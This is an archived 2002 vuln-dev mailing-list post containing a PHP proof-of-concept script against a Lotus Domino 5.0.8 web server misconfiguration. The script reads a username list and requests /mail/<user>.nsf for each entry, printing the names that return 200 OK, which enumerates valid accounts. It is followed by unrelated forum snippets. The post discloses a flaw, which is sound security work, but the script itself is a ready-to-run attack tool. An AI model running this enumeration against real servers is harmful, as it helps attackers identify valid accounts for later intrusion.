Script to find domino's users

From: Gabriel A. Maggiotti (gmaggiot@ciudad.com.ar)
Date: 01/31/02


Date: Thu, 31 Jan 2002 12:36:13 -0300
From: "Gabriel A. Maggiotti" <gmaggiot@ciudad.com.ar>
To: vuln-dev@securityfocus.com


#!/usr/local/bin/php -q
<?
/*
Proof of Concepts Domino 5.0.8 webserver misconfiguration which could
allow
 remote users to determine whether a give username exists on the
vulnerable
 system.

        By Gabriel A Maggiotti
 */

        if( $argc!=4)
        {
        echo "usage: $argv[0] <host> <userlist> <delay>\n";
        return 1;
        }

$host=$argv[1];
$userlist=$argv[2];

$fd = fopen ($userlist, "r");
while (!feof ($fd)) {
        $user = fgets($fd, 4096);

        $fp = fsockopen ($host, 80 , &$errno, &$errstr, 30);
        fputs ($fp, "GET /mail/$user.nsf HTTP/1.0\r\n\r\n");
        while (!feof ($fp)) {
                $sniff=fgets($fp,1024);
                if(strpos($sniff,"200 OK")!="") {
                        echo "$user exists!!!\n";
                        break;
                }
        }
        fclose ($fp);
        sleep(3);
}

fclose ($fd);

?>



Relevant Pages

  • Script for find dominos users
    ... Proof of Concepts Domino 5.0.8 webserver misconfiguration which could ... remote users to determine whether a give username exists on the ...
    (Bugtraq)
  • Re: Selecting Remote Users
    ... The username for my work PC is administrator. ... I have enabled 'Allow remote users to access computer', ... The user account you select on the machine that is to be the host ...
    (microsoft.public.windowsxp.work_remotely)
  • Re: VPN keeps asking for username and password
    ... However, recently, it has stopped working. ... Anytime a user tries to connect via VPN he gets to the stage where it says verifying username and password, but then gets the message "windows was unable to connect to the network using the username and password you provided. ... This problem has just recently started happening and is happening to all remote users. ... Do your local or remote routers offer any logging facilities? ...
    (microsoft.public.windows.server.sbs)
  • Re: Adding Users To Samba 3.0
    ... > I may be way wrong, but I remember adding remote users to connect to my ... man smbpasswd: ... -a This option specifies that the username following should be ...
    (alt.os.linux.redhat)